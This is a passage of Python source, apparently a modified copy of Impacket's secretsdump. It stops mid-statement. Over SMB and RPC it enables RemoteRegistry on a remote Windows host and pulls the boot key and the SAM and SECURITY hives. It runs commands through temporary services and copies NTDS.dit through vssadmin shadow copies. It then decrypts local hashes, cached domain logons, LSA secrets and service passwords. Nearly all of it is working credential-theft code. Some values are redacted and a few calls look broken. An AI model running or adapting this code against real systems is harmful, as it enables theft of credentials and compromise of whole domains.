('Data',':=""'), ) class NL_RECORD(Structure): structure = ( ('UserLength','<H=0'), ('DomainNameLength','<H=0'), ('EffectiveNameLength','<H=0'), ('FullNameLength','<H=0'), ('MetaData','52s=""'), ('FullDomainLength','<H=0'), ('Length2','<H=0'), ('CH','16s=""'), ('T','16s=""'), ('EncryptedData',':'), ) class SAMR_RPC_SID_IDENTIFIER_AUTHORITY(Structure): structure = ( ('Value','6s'), ) class SAMR_RPC_SID(Structure): structure = ( ('Revision','<B'), ('SubAuthorityCount','<B'), ('IdentifierAuthority',':',SAMR_RPC_SID_IDENTIFIER_AUTHORITY), ('SubLen','_-SubAuthority','self["SubAuthorityCount"]*4'), ('SubAuthority',':'), ) def formatCanonical(self): ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5])) for i in range(self['SubAuthorityCount']): ans += '-%d' % ( unpack('>L',self['SubAuthority'][i*4:i*4+4])[0]) return ans class LSA_SECRET_BLOB(Structure): structure = ( ('Length','<L=0'), ('Unknown','12s=""'), ('_Secret','_-Secret','self["Length"]'), ('Secret',':'), ('Remaining',':'), ) class LSA_SECRET(Structure): structure = ( ('Version','<L=0'), ('EncKeyID','16s=""'), ('EncAlgorithm','<L=0'), ('Flags','<L=0'), ('EncryptedData',':'), ) class LSA_SECRET_XP(Structure): structure = ( ('Length','<L=0'), ('Version','<L=0'), ('_Secret','_-Secret', 'self["Length"]'), ('Secret', ':'), ) # Classes class RemoteFile(): def __init__(self, smbConnection, fileName): self.__smbConnection = smbConnection self.__fileName = fileName self.__tid = self.__smbConnection.connectTree('ADMIN$') self.__fid = None self.__currentOffset = 0 def open(self): self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName) def seek(self, offset, whence): # Implement whence, for now it's always from the beginning of the file if whence == 0: self.__currentOffset = offset def read(self, bytesToRead): if bytesToRead > 0: data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead) self.__currentOffset += len(data) return data return '' def close(self): if self.__fid is not None: self.__smbConnection.closeFile(self.__tid, self.__fid) self.__smbConnection.deleteFile('ADMIN$', self.__fileName) self.__fid = None def tell(self): return self.__currentOffset def __str__(self): return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName) class RemoteOperations: def __init__(self, smbConnection): self.__smbConnection = smbConnection self.__smbConnection.setTimeout(5*60) self.__serviceName = 'RemoteRegistry' self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]' self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]' self.__rrp = None self.__bootKey = '' self.__disabled = False self.__shouldStop = False self.__started = False self.__scmr = None self.__regHandle = None self.__batchFile = '%TEMP%\\execute.bat' self.__shell = '%COMSPEC% /Q /c ' self.__output = '%SYSTEMROOT%\\Temp\\__output' self.__answerTMP = '' self.__tmpServiceName = None self.__serviceDeleted = False def __connectSvcCtl(self): rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl) rpc.set_smb_connection(self.__smbConnection) self.__scmr = rpc.get_dce_rpc() self.__scmr.connect() self.__scmr.bind(scmr.MSRPC_UUID_SCMR) def __connectWinReg(self): rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg) rpc.set_smb_connection(self.__smbConnection) self.__rrp = rpc.get_dce_rpc() self.__rrp.connect() self.__rrp.bind(rrp.MSRPC_UUID_RRP) def getMachineNameAndDomain(self): if self.__smbConnection.getServerName() == '': # No serverName.. this is either because we're doing Kerberos # or not receiving that data during the login process. # Let's try getting it through RPC rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]') rpc.set_smb_connection(self.__smbConnection) dce = rpc.get_dce_rpc() dce.connect() dce.bind(wkst.MSRPC_UUID_WKST) resp = wkst.hNetrWkstaGetInfo(dce, 100) dce.disconnect() return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100']['wki100_langroup'][:-1] else: return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain() def getDefaultLoginAccount(self): try: ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon') keyHandle = ans['phkResult'] dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName') username = dataValue[:-1] dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, 'DefaultDomainName') domain = dataValue[:-1] rrp.hBaseRegCloseKey(self.__rrp, keyHandle) if len(domain) > 0: return '%s\\%s' % (domain,username) else: return username except Exception, e: return None def getServiceAccount(self, serviceName): try: # Open the service ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName) serviceHandle = ans['lpServiceHandle'] resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle) account = resp['lpServiceConfig']['lpServiceStartName'][:-1] scmr.hRCloseServiceHandle(self.__scmr, serviceHandle) if account.startswith('.\\'): account = account[2:] return account except Exception, e: #DEBUG logging.error(e) return None def __checkServiceStatus(self): # Open SC Manager ans = scmr.hROpenSCManagerW(self.__scmr) self.__scManagerHandle = ans['lpScHandle'] # Now let's open the service ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName) self.__serviceHandle = ans['lpServiceHandle'] # Let's check its status ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle) if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED: #DEBUG logging.info('Service %s is in stopped state'% self.__serviceName) self.__shouldStop = True self.__started = False elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING: #DEBUG logging.debug('Service %s is already running'% self.__serviceName) self.__shouldStop = False self.__started = True else: raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState']) # Let's check its configuration if service is stopped, maybe it's disabled :s if self.__started == False: ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle) if ans['lpServiceConfig']['dwStartType'] == 0x4: #DEBUG logging.info('Service %s is disabled, enabling it'% self.__serviceName) self.__disabled = True scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3) #DEBUG logging.info('Starting service %s' % self.__serviceName) scmr.hRStartServiceW(self.__scmr,self.__serviceHandle) time.sleep(1) def enableRegistry(self): self.__connectSvcCtl() self.__checkServiceStatus() self.__connectWinReg() def __restore(self): # First of all stop the service if it was originally stopped if self.__shouldStop is True: #DEBUG logging.info('Stopping service %s' % self.__serviceName) scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP) if self.__disabled is True: #DEBUG logging.info('Restoring the disabled state for service %s' % self.__serviceName) scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4) if self.__serviceDeleted is False: # Check again the service we created does not exist, starting a new connection # Why?.. Hitting CTRL+C might break the whole existing DCE connection try: rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost()) if hasattr(rpc, 'set_credentials'): # This method exists only for selected protocol sequences. rpc.set_credentials(*self.__smbConnection.getCredentials()) self.__scmr = rpc.get_dce_rpc() self.__scmr.connect() self.__scmr.bind(scmr.MSRPC_UUID_SCMR) # Open SC Manager ans = scmr.hROpenSCManagerW(self.__scmr) self.__scManagerHandle = ans['lpScHandle'] # Now let's open the service scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName) service = resp['lpServiceHandle'] scmr.hRDeleteService(self.__scmr, service) scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) scmr.hRCloseServiceHandle(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle) scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle) rpc.disconnect() except Exception, e: # If service is stopped it'll trigger an exception # If service does not exist it'll trigger an exception # So. we just wanna be sure we delete it, no need to # show this exception message pass def finish(self): self.__restore() self.__rrp.disconnect() self.__scmr.disconnect() def getBootKey(self): bootKey = '' ans = rrp.hOpenLocalMachine(self.__rrp) self.__regHandle = ans['phKey'] for key in ['JD','Skew1','GBG','Data']: #DEBUG logging.debug('Retrieving class info for %s'% key) ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key) keyHandle = ans['phkResult'] ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle) bootKey = bootKey + ans['lpClassOut'][:-1] rrp.hBaseRegCloseKey(self.__rrp, keyHandle) transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] bootKey = bootKey.decode('hex') for i in xrange(len(bootKey)): self.__bootKey += bootKey[transforms[i]] #DEBUG logging.info('Target system bootKey: 0x%s' % self.__bootKey.encode('hex')) return self.__bootKey def checkNoLMHashPolicy(self): #DEBUG logging.debug('Checking NoLMHash Policy') ans = rrp.hOpenLocalMachine(self.__rrp) self.__regHandle = ans['phKey'] ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa') keyHandle = ans['phkResult'] try: dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash') except: noLMHash = 0 if noLMHash != 1: #DEBUG logging.debug('LMHashes are being stored') return False #DEBUG logging.debug('LMHashes are NOT being stored') return True def __retrieveHive(self, hiveName): tmpFileName = ''.join([random.choice(string.letters) for i in range(8)]) + '.tmp' ans = rrp.hOpenLocalMachine(self.__rrp) regHandle = ans['phKey'] try: ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName) except: raise Exception("Can't open %s hive" % hiveName) keyHandle = ans['phkResult'] resp = rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName) rrp.hBaseRegCloseKey(self.__rrp, keyHandle) rrp.hBaseRegCloseKey(self.__rrp, regHandle) # Now let's open the remote file, so it can be read later remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName) return remoteFileName def saveSAM(self): #DEBUG logging.debug('Saving remote SAM database') return self.__retrieveHive('SAM') def saveSECURITY(self): #DEBUG logging.debug('Saving remote SECURITY database') return self.__retrieveHive('SECURITY') def __executeRemote(self, data): self.__tmpServiceName = ''.join([random.choice(string.letters) for i in range(8)]).encode('utf-16le') command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile command += ' & ' + 'del ' + self.__batchFile self.__serviceDeleted = False resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, lpBinaryPathName=command) service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(self.__scmr, service) except: pass scmr.hRDeleteService(self.__scmr, service) self.__serviceDeleted = True scmr.hRCloseServiceHandle(self.__scmr, service) def __answer(self, data): self.__answerTMP += data print(self.__answerTMP) #DEBUG4 def __getLastVSS(self): self.__executeRemote('%COMSPEC% /C vssadmin list shadows') time.sleep(5) tries = 0 while True: try: self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) break except Exception, e: if tries > 30: # We give up raise Exception('Too many tries trying to list vss shadows') if str(e).find('SHARING') > 0: # Stuff didn't finish yet.. wait more time.sleep(5) tries +=1 pass else: raise lines = self.__answerTMP.split('\n') lastShadow = '' lastShadowFor = '' # Let's find the last one # The string used to search the shadow for drive. Wondering what happens # in other languages SHADOWFOR = 'Volume: (' for line in lines: if line.find('GLOBALROOT') > 0: lastShadow = line[line.find('\\\\?'):][:-1] elif line.find(SHADOWFOR) > 0: lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2] self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output') return lastShadow, lastShadowFor def saveNTDS(self): #DEBUG logging.info('Searching for NTDS.dit') # First of all, let's try to read the target NTDS.dit registry entry ans = rrp.hOpenLocalMachine(self.__rrp) regHandle = ans['phKey'] try: ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters') keyHandle = ans['phkResult'] except: # Can't open the registry path, assuming no NTDS on the other end return None try: dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file') ntdsLocation = dataValue[:-1] ntdsDrive = ntdsLocation[:2] except: # Can't open the registry path, assuming no NTDS on the other end return None rrp.hBaseRegCloseKey(self.__rrp, keyHandle) rrp.hBaseRegCloseKey(self.__rrp, regHandle) #DEBUG logging.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % (ntdsLocation)) # Get the list of remote shadows shadow, shadowFor = self.__getLastVSS() if shadow == '' or (shadow != '' and shadowFor != ntdsDrive): # No shadow, create one self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive) shadow, shadowFor = self.__getLastVSS() shouldRemove = True if shadow == '': raise Exception('Could not get a VSS') else: shouldRemove = False # Now copy the ntds.dit to the temp directory tmpFileName = ''.join([random.choice(string.letters) for i in range(8)]) + '.tmp' self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName)) if shouldRemove is True: self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive) self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output') remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName) return remoteFileName class CryptoCommon: # Common crypto stuff used over different classes def transformKey(self, InputKey): # Section 2.2.11.1.2 Encrypting a 64-Bit Block with a 7-Byte Key OutputKey = [] OutputKey.append( chr(ord(InputKey[0]) >> 0x01) ) OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) ) OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) ) OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) ) OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) ) OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) ) OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) ) OutputKey.append( chr(ord(InputKey[6]) & 0x7F) ) for i in range(8): OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe) return "".join(OutputKey) def deriveKey(self, baseKey): # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key # Let I be the little-endian, unsigned integer. # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes. # Note that because I is in little-endian byte order, I[0] is the least significant byte. # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2]. # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1] key = pack('<L',baseKey) key1 = key[0] + key[1] + key[2] + key[3] + key[0] + key[1] + key[2] key2 = key[3] + key[0] + key[1] + key[2] + key[3] + key[0] + key[1] return self.transformKey(key1),self.transformKey(key2) class OfflineRegistry: def __init__(self, hiveFile = None, isRemote = False): self.__hiveFile = hiveFile if self.__hiveFile is not None: self.__registryHive = winregistry.Registry(self.__hiveFile, isRemote) def enumKey(self, searchKey): parentKey = self.__registryHive.findKey(searchKey) if parentKey is None: return keys = self.__registryHive.enumKey(parentKey) return keys def enumValues(self, searchKey): key = self.__registryHive.findKey(searchKey) if key is None: return values = self.__registryHive.enumValues(key) return values def getValue(self, keyValue): value = self.__registryHive.getValue(keyValue) if value is None: return return value def getClass(self, className): value = self.__registryHive.getClass(className) if value is None: return return value def finish(self): if self.__hiveFile is not None: # Remove temp file and whatever else is needed self.__registryHive.close() class SAMHashes(OfflineRegistry): def __init__(self, samFile, bootKey, output_hashes, isRemote = False): OfflineRegistry.__init__(self, samFile, isRemote) self.__samFile = samFile self.__hashedBootKey = '' self.__bootKey = bootKey self.__cryptoCommon = CryptoCommon() self.__itemsFound = {} self.output_hashes = output_hashes def MD5(self, data): md5 = hashlib.new('md5') md5.update(data) return md5.digest() def getHBootKey(self): #DEBUG logging.debug('Calculating HashedBootKey from SAM') QWERTY = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" DIGITS = "0123456789012345678901234567890123456789\0" F = self.getValue(ntpath.join('SAM\Domains\Account','F'))[1] domainData = DOMAIN_ACCOUNT_F(F) rc4Key = self.MD5(domainData['Key0']['Salt'] + QWERTY + self.__bootKey + DIGITS) rc4 = ARC4.new(rc4Key) self.__hashedBootKey = rc4.encrypt(domainData['Key0']['Key']+domainData['Key0']['CheckSum']) # Verify key with checksum checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY) if checkSum != self.__hashedBootKey[16:]: raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(') def __decryptHash(self, rid, cryptedHash, constant): # Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key # plus hashedBootKey stuff Key1,Key2 = self.__cryptoCommon.deriveKey(rid) Crypt1 = DES.new(Key1, DES.MODE_ECB) Crypt2 = DES.new(Key2, DES.MODE_ECB) rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant ) rc4 = ARC4.new(rc4Key) key = rc4.encrypt(cryptedHash) decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:]) return decryptedHash def dump(self): NTPASSWORD = "N<PASSWORD>" LMPASSWORD = "LMP<PASSWORD>" if self.__samFile is None: # No SAM file provided return #DEBUG logging.info('Dumping local SAM hashes (uid:rid:lmhash:nthash)') self.getHBootKey() usersKey = 'SAM\\Domains\\Account\\Users' # Enumerate all the RIDs rids = self.enumKey(usersKey) # Remove the Names item try: rids.remove('Names') except: pass for rid in rids: userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1]) rid = int(rid,16) baseOffset = len(USER_ACCOUNT_V()) V = userAccount['Data'] userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le') if userAccount['LMHashLength'] == 20: encLMHash = V[userAccount['LMHashOffset']+4:userAccount['LMHashOffset']+userAccount['LMHashLength']] else: encLMHash = '' if userAccount['NTHashLength'] == 20: encNTHash = V[userAccount['NTHashOffset']+4:userAccount['NTHashOffset']+userAccount['NTHashLength']] else: encNTHash = '' lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD) ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD) if lmHash == '': lmHash = ntlm.LMOWFv1('','') if ntHash == '': ntHash = ntlm.NTOWFv1('','') answer = "%s:%d:%s:%s:::" % (userName, rid, lmHash.encode('hex'), ntHash.encode('hex')) self.__itemsFound[rid] = answer try: self.output_hashes.append(answer) except Exception as e: print("[!] There was an error: %s") % (e) #DEBUG print answer def export(self, fileName): if len(self.__itemsFound) > 0: items = sorted(self.__itemsFound) fd = open(fileName+'.sam','w+') for item in items: fd.write(self.__itemsFound[item]+'\n') fd.close() def return_output_hashes(self): return(self.output_hashes) class LSASecrets(OfflineRegistry): def __init__(self, securityFile, bootKey, output_hashes, remoteOps = None, isRemote = False): OfflineRegistry.__init__(self,securityFile, isRemote) self.__hashedBootKey = '' self.__bootKey = bootKey self.__LSAKey = '' self.__NKLMKey = '' self.__isRemote = isRemote self.__vistaStyle = True self.__cryptoCommon = CryptoCommon() self.__securityFile = securityFile self.__remoteOps = remoteOps self.__cachedItems = [] self.__secretItems = [] self.output_hashes = output_hashes def MD5(self, data): md5 = hashlib.new('md5') md5.update(data) return md5.digest() def __sha256(self, key, value, rounds=1000): sha = hashlib.sha256() sha.update(key) for i in range(1000): sha.update(value) return sha.digest() def __decryptAES(self, key, value, iv='\x00'*16): plainText = '' if iv != '\x00'*16: aes256 = AES.new(key,AES.MODE_CBC, iv) for index in range(0, len(value), 16): if iv == '\x00'*16: aes256 = AES.new(key,AES.MODE_CBC, iv) cipherBuffer = value[index:index+16] # Pad buffer to 16 bytes if len(cipherBuffer) < 16: cipherBuffer += '\x00' * (16-len(cipherBuffer)) plainText += aes256.decrypt(cipherBuffer) return plainText def __decryptSecret(self, key, value): # [MS-LSAD] Section 5.1.2 plainText = '' encryptedSecretSize = unpack('<I', value[:4])[0] value = value[len(value)-encryptedSecretSize:] key0 = key for i in range(0, len(value), 8): cipherText = value[:8] tmpStrKey = key0[:7] tmpKey = self.__cryptoCommon.transformKey(tmpStrKey) Crypt1 = DES.new(tmpKey, DES.MODE_ECB) plainText += Crypt1.decrypt(cipherText) cipherText = cipherText[8:] key0 = key0[7:] value = value[8:] # AdvanceKey if len(key0) < 7: key0 = key[len(key0):] secret = LSA_SECRET_XP(plainText) return (secret['Secret']) def __decryptHash(self, key, value, iv): hmac_md5 = HMAC.new(key,iv) rc4key = hmac_md5.digest() rc4 = ARC4.new(rc4key) data = rc4.encrypt(value) return data def __decryptLSA(self, value): if self.__vistaStyle is True: # ToDo: There could be more than one LSA Keys record = LSA_SECRET(value) tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32]) plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:]) record = LSA_SECRET_BLOB(plainText) self.__LSAKey = record['Secret'][52:][:32] else: md5 = hashlib.new('md5') md5.update(self.__bootKey) for i in range(1000): md5.update(value[60:76]) tmpKey = md5.digest() rc4 = ARC4.new(tmpKey) plainText = rc4.decrypt(value[12:60]) self.__LSAKey = plainText[0x10:0x20] def __getLSASecretKey(self): #DEBUG logging.debug('Decrypting LSA Key') # Let's try the key post XP value = self.getValue('\\Policy\\PolEKList\\default') if value is None: #DEBUG logging.debug('PolEKList not found, trying PolSecretEncryptionKey') # Second chance value = self.getValue('\\Policy\\PolSecretEncryptionKey\\default') self.__vistaStyle = False if value is None: # No way :( return None self.__decryptLSA(value[1]) def __getNLKMSecret(self): #DEBUG logging.debug('Decrypting NL$KM') value = self.getValue('\\Policy\\Secrets\\NL$KM\\CurrVal\\default') if value is None: raise Exception("Couldn't get NL$KM value") if self.__vistaStyle is True: record = LSA_SECRET(value[1]) tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32]) self.__NKLMKey = self.__decryptAES(tmpKey, record['EncryptedData'][32:]) else: self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1]) def __pad(self, data): if (data & 0x3) > 0: return data + (data & 0x3) else: return data def dumpCachedHashes(self): if self.__securityFile is None: # No SECURITY file provided return #DEBUG logging.info('Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)') # Let's first see if there are cached entries values = self.enumValues('\\Cache') if values == None: # No cache entries return try: # Remove unnecesary value values.remove('NL$Control') except: pass self.__getLSASecretKey() self.__getNLKMSecret() for value in values: #DEBUG logging.debug('Looking into %s' % value) record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value))[1]) if record['CH'] != 16 * '\x00': if self.__vistaStyle is True: plainText = self.__decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['CH']) else: plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['CH']) pass encHash = plainText[:0x10] plainText = plainText[0x48:] userName = plainText[:record['UserLength']].decode('utf-16le') plainText = plainText[self.__pad(record['UserLength']):] domain = plainText[:record['DomainNameLength']].decode('utf-16le') plainText = plainText[self.__pad(record['DomainNameLength']):] domainLong = plainText[:self.__pad(record['FullDomainLength'])].decode('utf-16le') answer = "%s:%s:%s:%s:::" % (userName, encHash.encode('hex'), domainLong, domain) self.__cachedItems.append(answer) try: self.output_hashes.append(answer) except Exception as e: print("[!] There was an error: %s") % (e) #DEBUG print answer def __printSecret(self, name, secretItem): # Based on [MS-LSAD] section 3.1.1.4 # First off, let's discard NULL secrets. if len(secretItem) == 0: #DEBUG logging.debug('Discarding secret %s, NULL Data' % name) return # We might have secrets with zero if secretItem.startswith('\x00\x00'): #DEBUG logging.debug('Discarding secret %s, all zeros' % name) return upperName = name.upper() #DEBUG logging.info('%s ' % name) secret = '' if upperName.startswith('_SC_'): # Service name, a password might be there # Let's first try to decode the secret try: strDecoded = secretItem.decode('utf-16le') except: pass else: # We have to get the account the service # runs under if self.__isRemote is True: account = self.__remoteOps.getServiceAccount(name[4:]) if account is None: secret = '(Unknown User):' else: secret = "%s:" % account else: # We don't support getting this info for local targets at the moment secret = '(Unknown User):' secret += strDecoded elif upperName.startswith('DEFAULTPASSWORD'): # defaults password for winlogon # Let's first try to decode the secret try: strDecoded = secretItem.decode('utf-16le') except: pass else: # We have to get the account this password is for if self.__isRemote is True: account = self.__remoteOps.getDefaultLoginAccount() if account is None: secret = '(Unknown User):' else: secret = "%s:" % account else: # We don't support getting this info for local targets at the moment secret = '(Unknown User):' secret += strDecoded elif upperName.startswith('ASPNET_WP_PASSWORD'): try: strDecoded = secretItem.decode('utf-16le') except: pass else: secret = 'ASPNET: %s' % strDecoded elif upperName.startswith('$MACHINE.ACC'): # compute MD4 of the secret.. yes.. that is the nthash? :-o md4 = MD4.new() md4.update(secretItem) if self.__isRemote is True: machine, domain = self.__remoteOps.getMachineNameAndDomain() secret = "%s\\%s$:%s:%s:::" % (domain, machine, ntlm.LMOWFv1('','').encode('hex'), md4.digest().encode('hex')) else: secret = "$MACHINE.ACC: %s:%s" % (ntlm.LMOWFv1('','').encode('hex'), md4.digest().encode('hex')) try: if secret != '': #DEBUG print secret self.__secretItems.append(secret) self.output_hashes.append(secret) else: # Default print, hexdump self.__secretItems.append('%s:%s' % (name, secretItem.encode('hex'))) self.output_hashes.append(secret) hexdump(secretItem) except Exception as e: print("[!] An error occurred: %s") % (e) def dumpSecrets(self): if self.__securityFile is None: # No SECURITY file provided return #DEBUG logging.info('Dumping LSA Secrets') # Let's first see if there are cached entries keys = self.enumKey('\\Policy\\Secrets') if keys == None: # No entries return try: # Remove unnecesary value keys.remove('NL$Control') except: pass if self.__LSAKey == '': self.__getLSASecretKey() for key in keys: #DEBUG logging.debug('Looking into %s' % key) value = self.getValue('\\Policy\\Secrets\\%s\\CurrVal\\default' % key) if value is not None: if self.__vistaStyle is True: record = LSA_SECRET(value[1]) tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32]) plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:]) record = LSA_SECRET_BLOB(plainText) secret = record['Secret'] else: secret = self.__decryptSecret(self.__LSAKey, value[1]) self.__printSecret(key, secret) def exportSecrets(self, fileName): if len(self.__secretItems) > 0: fd = open(fileName+'.secrets','w+') for item in self.__secretItems: fd.write(item+'\n') fd.close() def exportCached(self, fileName): if len(self.__cachedItems) > 0: fd = open(fileName+'.cached','w+') for item in self.__cachedItems: fd.write(item+'\n') fd.close() def return_output_hashes(self): return(self.output_hashes) class NTDSHashes(): NAME_TO_INTERNAL = { 'uSNCreated':'ATTq131091', 'uSNChanged':'ATTq131192', 'name':'ATTm3', 'objectGUID':'ATTk589826', 'objectSid':'ATTr589970', 'userAccountControl':'ATTj589832', 'primaryGroupID':'ATTj589922', 'accountExpires':'ATTq589983', 'logonCount':'ATTj589993', 'sAMAccountName':'ATTm590045', 'sAMAccountType':'ATTj590126', 'lastLogonTimestamp':'ATTq589876', 'userPrincipalName':'ATTm590480', 'unicodePwd':'<PASSWORD>', 'dBCSPwd':'<PASSWORD>', 'ntPwdHistory':'<PASSWORD>18', 'lmPwdHistory':'<PASSWORD>', 'pekList':'ATTk590689', 'supplementalCredentials':'ATTk589949', } KERBEROS_TYPE = { 1:'dec-cbc-crc', 3:'des-cbc-md5', 17:'aes128-cts-hmac-sha1-96', 18:'aes256-cts-hmac-sha1-96', 0xffffff74:'rc4_hmac', } INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.iteritems()) SAM_NORMAL_USER_ACCOUNT = 0x30000000 SAM_MACHINE_ACCOUNT = 0x30000001 SAM_TRUST_ACCOUNT = 0x30000002 ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT) class PEK_KEY(Structure): structure = ( ('Header','8s=""'), ('KeyMaterial','16s=""'), ('EncryptedPek','52s=""'), ) class CRYPTED_HASH(Structure): structure = ( ('Header','8s=""'), ('KeyMaterial','16s=""'), ('EncryptedHash','16s=""'), ) class CRYPTED_HISTORY(Structure): structure = ( ('Header','8s=""'), ('KeyMaterial','16s=""'), ('EncryptedHash',':'), ) class CRYPTED_BLOB(Structure): structure = ( ('Header','8s=""'), ('KeyMaterial','16s=""'), ('EncryptedHash',':'), ) def __init__(self, ntdsFile, bootKey, output_hashes, isRemote = False, history = False, noLMHash = True): self.__bootKey = bootKey self.__NTDS = ntdsFile self.__history = history self.__noLMHash = noLMHash if self.__NTDS is not None: self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote) self.__cursor = self.__ESEDB.openTable('datatable') self.__tmpUsers = list() self.__PEK = None self.__cryptoCommon = CryptoCommon() self.__hashesFound = {} self.__kerberosKeys = collections.OrderedDict() self.output_hashes = output_hashes def __getPek(self): #DEBUG logging.info('Searching for pekList, be patient') pek = None while True: record = self.__ESEDB.getNextRow(self.__cursor) if record is None: break elif record[self.NAME_TO_INTERNAL['pekList']] is not None: pek = record[self.NAME_TO_INTERNAL['pekList']].decode('hex') break elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES: # Okey.. we found some users, but we're not yet ready to process them. # Let's just store them in a temp list self.__tmpUsers.append(record) if pek is not None: encryptedPek = self.PEK_KEY(pek) md5 = 